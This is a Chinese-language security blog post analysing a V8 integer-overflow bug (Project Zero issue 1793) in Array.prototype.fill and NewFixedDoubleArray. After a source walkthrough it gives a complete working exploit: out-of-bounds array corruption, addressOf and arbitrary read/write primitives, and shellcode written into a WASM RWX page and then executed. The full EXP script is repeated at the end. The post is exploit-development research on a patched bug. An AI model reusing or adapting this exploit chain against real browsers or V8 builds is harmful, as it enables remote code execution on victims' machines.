本文第一发布平台为安全客:https://www.anquanke.com/post/id/231399

Chrome的issue-1793报告了一个整数溢出的漏洞,本文将简单对此issue进行分析。

漏洞分析

v8/src/heap/factory.cc文件的NewFixedDoubleArray函数中可以发现开发人员对length进行了长度的检查,即DCHECK_LE(0, length)。但由于DCHECK只在debug中起作用,而在release中并不起作用,则该检查对正式版本并没有什么作用。如果length为负数,则会绕过if (length > FixedDoubleArray::kMaxLength)的检查,而由于int size = FixedDoubleArray::SizeFor(length)会使用length来计算出size,如果我们合理控制length,则可以让size计算出来为正数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// v8/src/heap/factory.cc
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,PretenureFlag pretenure) {
DCHECK_LE(0, length); // ***here***
if (length == 0) return empty_fixed_array();
if (length > FixedDoubleArray::kMaxLength) { // ***here***
isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
}
int size = FixedDoubleArray::SizeFor(length); // ***here***
Map map = *fixed_double_array_map();
HeapObject result =
AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
array->set_length(length);
return array;
}

那么我们该如何将负数传递给NewFixedDoubleArray呢?我们可以使用ArrayPrototypeFillArrayPrototypeFillv8/src/builtins/builtins-array.cc文件中,其首先会获取最初的数组长度,并使用该长度来对startend进行限制。但是在调用GetRelativeIndex方法的时候可能会触发用户自定义的JS函数,该自定义函数可能会修改长度,这个行为通常来说可能会导致OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// v8/src/builtins/builtins-array.cc
BUILTIN(ArrayPrototypeFill) {
[...]
// 2. Let len be ? ToLength(? Get(O, "length")).
double length;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, length, GetLengthProperty(isolate, receiver)); // **here**

// 3. Let relativeStart be ? ToInteger(start).
// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
// else let k be min(relativeStart, len).
Handle<Object> start = args.atOrUndefined(isolate, 2);

double start_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***here***

// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
Handle<Object> end = args.atOrUndefined(isolate, 3);

double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length)); // ***here***
[...]
if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
end_index)) {

接下来会走到FastElementsAccessor::FillImp,它在v8/src/elements.cc文件中,其会检查end是否大于capacity,如果是则调用GrowCapacityAndConvertImpl函数进行扩容,而该函数又可能会调用NewFixedDoubleArray函数。这里的问题在于并没有检查end转为有符号数后是否会变成负数,所以我们可以通过将end设为诸如0x80000000的数字来将负数传递给NewFixedDoubleArray,从而导致OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// v8/src/elements.cc
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) {
// Ensure indexes are within array bounds
DCHECK_LE(0, start);
DCHECK_LE(start, end);

// Make sure COW arrays are copied.
if (IsSmiOrObjectElementsKind(Subclass::kind())) {
JSObject::EnsureWritableFastElements(receiver);
}

// Make sure we have enough space.
uint32_t capacity =
Subclass::GetCapacityImpl(*receiver, receiver->elements());
if (end > capacity) {
Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***here***
CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
}

漏洞利用

首先先配置V8环境,然后还原回漏洞patch前的git分支并编译

1
2
3
git reset --hard dd68954
gclient sync
./tools/dev/gm.py x64.release

编译完成后使用gdb进行调试,开启--allow-natives-syntax

1
2
3
gdb ./d8
pwndbg> set args --allow-natives-syntax ./exp.js
pwndbg> r

按照上面所说的的方法,编写出测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
array.length = 0x100;
array.fill(1.1);
return 0x80000000;
}});

let a = new Array(0x12345678,0);
let ab = new ArrayBuffer(8);
%DebugPrint(array);
%DebugPrint(a);
%DebugPrint(ab);
%SystemBreak();

运行之后可以得到array,a,ab的地址

打印array的内存并找到array->elements的地址

打印array->elements的内存,可以发现array->elements已经和a,a->elements以及ab的内存区域重叠了,放两张对比图

正常情况:

触发漏洞情况:

那么这就造成了OOB

接下来通过a来构造addressOf原语

1
2
3
4
5
6
let idx = arr.indexOf(i2f(0x1234567800000000n)); 
function addressOf(obj)
{
a[0] = obj;
return f2i(arr[idx]);
}

然后通过修改abbackstore指针任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1; 
function arb_read(addr)
{
arr[backstore_ptr_idx] = i2f(addr);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true))
}

function arb_write(addr,data)
{
arr[backstore_ptr_idx] = i2f(addr);
let ua = new Uint8Array(ab);
ua.set(data);
}

最后WASM一把梭即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addressOf(wasmInstance) - 1n;
console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x108n);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}

f();

结果

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}

function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}


function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}

array = [];
array.length = 0xffffffff;
arr = array.fill(1.1, 0x80000000 - 1, {valueOf() {
array.length = 0x100;
array.fill(1.1);
return 0x80000000;

}});
let a = new Array(0x12345678,0);
let ab = new ArrayBuffer(8);


let idx = arr.indexOf(i2f(0x1234567800000000n));
function addressOf(obj)
{
a[0] = obj;
return f2i(arr[idx]);
}

let backstore_ptr_idx = arr.indexOf(i2f(8n)) + 1;
function arb_read(addr)
{
arr[backstore_ptr_idx] = i2f(addr);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true))
}

function arb_write(addr,data)
{
arr[backstore_ptr_idx] = i2f(addr);
let ua = new Uint8Array(ab);
ua.set(data);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addressOf(wasmInstance) - 1n;
console.log("[+]leak wasm instance addr: " + hex(wasm_instance_addr));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x108n);
console.log("[+]leak rwx_page_addr: " + hex(rwx_page_addr));

const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}

f();

Reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1793

https://github.com/Geluchat/chrome_v8_exploit/blob/master/1793.js